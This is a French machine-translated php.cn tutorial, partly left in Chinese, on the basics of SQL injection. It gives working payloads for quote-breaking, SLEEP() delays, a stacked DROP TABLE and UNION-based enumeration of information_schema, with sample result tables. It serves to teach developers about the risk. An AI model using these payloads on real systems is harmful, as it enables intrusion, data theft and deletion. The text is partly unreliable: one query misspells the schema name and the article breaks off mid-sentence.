Maison base de données SQL Comprendre rapidement les principes de base de l'injection SQL

Comprendre rapidement les principes de base de l'injection SQL

Nov 29, 2019 pm 02:41 PM
sql注入 原理

Comprendre rapidement les principes de base de l'injection SQL

Principes de base de l'injection SQL

La technologie WEB se développe chaque jour qui passe, mais l'art traditionnel consistant à épeler SQL à mains nues est toujours privilégié par de nombreux développeurs. Après tout, comparé à l’apprentissage d’un ensemble complexe de règles ORM, le faire à la main est plus pratique et intuitif. Habituellement, les gens qui écrivent du SQL eux-mêmes doivent avoir entendu dire que l'injection SQL est dangereuse, mais ils se disent toujours : mon instruction SQL est si simple qu'elle ne peut pas être injectée.

Prenez 5 minutes pour lire cet exemple complet, et vous ne devriez plus jamais oser prendre de risques à partir de maintenant.

Scène simple

Il existe une interface WEB qui permet de saisir les noms de produits et affiche les informations correspondantes sur le prix, la date de production et le lieu de production. Par exemple, saisissez Hammer pour afficher :

产品 价格 生产地 生产日期
Claw Hammer 12.98 American 2019.11.07
Club Hammer 29.98 Canada 2019.11.11

Nous ignorons le processus de création d'une interface de recherche Web et nous concentrons directement sur la partie clé : Injection SQL.

Si vous souhaitez implémenter la fonction ci-dessus, alors nous pouvons à peu près deviner que l'instruction SQL utilisée par le serveur est la suivante :

SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
Copier après la connexion

où signifie que nous ne connaissons actuellement pas le spécifique nom de la table et nom du champ, et ce SQL est unique. Ce qui peut être manipulé, c'est le contenu d'entrée entre guillemets simples '%Hammer%'. Si nous saisissons directement un guillemet simple dans le champ de recherche. Autrement dit, cela devient

select ? from ? where ? Like '%'%';
Copier après la connexion

Cet épissage provoquera une erreur de syntaxe SQL et aucun résultat ne sera obtenu. Nous devons utiliser -- pour commenter le dernier guillemet simple.

select ? from ? where ? Like '%'; -- %';
Copier après la connexion

-- est suivi du contenu de l'annotation (vous pouvez également utiliser #), afin que vous puissiez obtenir toutes les informations sur le produit. Jusqu'à présent, il n'y a toujours aucun signal de danger.

产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
Paring Knife10.98China2019.11.11
Boning Knife19.98China2019.01.01

Essayez-le et

Conservez la partie guillemet simple extensible à l'étape précédente. Essayons une simple instruction de délai :

select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
Copier après la connexion

À ce stade, la requête prendra 2 secondes pour renvoyer le résultat. Si le délai est prolongé, utilisez le script pour interroger plusieurs fois, et le pool de connexions à la base de données peut être. restauré en une seule fois.

Bien sûr, il y en a des encore plus destructeurs !

select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
Copier après la connexion

Vous pouvez supprimer la table/base de données directement. Quant à savoir quelles tables se trouvent dans la base de données (c'est-à-dire comment déterminer xxxx dans la phrase SQL précédente) ?

Faites ce que vous voulez avec union

Nous devons savoir quelles tables contient cette base de données ! Ce n'est qu'ainsi que vous pourrez obtenir des informations utiles.

Vous pouvez utiliser union pour rassembler le contenu de différentes tables. Essayez-le :

select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
Copier après la connexion
产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
1234
.

可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。

Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。

select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
Copier après la connexion
产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
authorshawkeye34
productshawkeye34
userhawkeye34
........34

现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。

看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。

select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
Copier après la connexion
产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
idhawkeye34
namehawkeye34
pricehawkeye34
addresshawkeye34
updated_athawkeye34

所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):

select name,price,address,updated_at from products where name like '%Hammer%';
Copier après la connexion

通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
2 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Repo: Comment relancer ses coéquipiers
4 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: Comment obtenir des graines géantes
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Combien de temps faut-il pour battre Split Fiction?
3 Il y a quelques semaines By DDD

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
2 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Repo: Comment relancer ses coéquipiers
4 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: Comment obtenir des graines géantes
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Combien de temps faut-il pour battre Split Fiction?
3 Il y a quelques semaines By DDD

Tags d'article chaud

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Analyse de la fonction et du principe de nohup Analyse de la fonction et du principe de nohup Mar 25, 2024 pm 03:24 PM

Analyse de la fonction et du principe de nohup

Discussion approfondie sur les principes et les pratiques du cadre Struts Discussion approfondie sur les principes et les pratiques du cadre Struts Feb 18, 2024 pm 06:10 PM

Discussion approfondie sur les principes et les pratiques du cadre Struts

Compréhension approfondie du principe d'implémentation de l'insertion par lots dans MyBatis Compréhension approfondie du principe d'implémentation de l'insertion par lots dans MyBatis Feb 21, 2024 pm 04:42 PM

Compréhension approfondie du principe d'implémentation de l'insertion par lots dans MyBatis

Explication détaillée du principe du plug-in de pagination MyBatis Explication détaillée du principe du plug-in de pagination MyBatis Feb 22, 2024 pm 03:42 PM

Explication détaillée du principe du plug-in de pagination MyBatis

Analyse approfondie du principe de fonctionnement et mise en œuvre du framework Struts2 Analyse approfondie du principe de fonctionnement et mise en œuvre du framework Struts2 Jan 05, 2024 pm 04:08 PM

Analyse approfondie du principe de fonctionnement et mise en œuvre du framework Struts2

Une analyse approfondie des fonctions et des principes de fonctionnement de la commande Linux chage Une analyse approfondie des fonctions et des principes de fonctionnement de la commande Linux chage Feb 24, 2024 pm 03:48 PM

Une analyse approfondie des fonctions et des principes de fonctionnement de la commande Linux chage

Les principes de base et les méthodes de mise en œuvre des méthodes d'héritage dans Golang Les principes de base et les méthodes de mise en œuvre des méthodes d'héritage dans Golang Jan 20, 2024 am 09:11 AM

Les principes de base et les méthodes de mise en œuvre des méthodes d'héritage dans Golang

Notes de développement Laravel : méthodes et techniques pour empêcher l'injection SQL Notes de développement Laravel : méthodes et techniques pour empêcher l'injection SQL Nov 22, 2023 pm 04:56 PM

Notes de développement Laravel : méthodes et techniques pour empêcher l'injection SQL

See all articles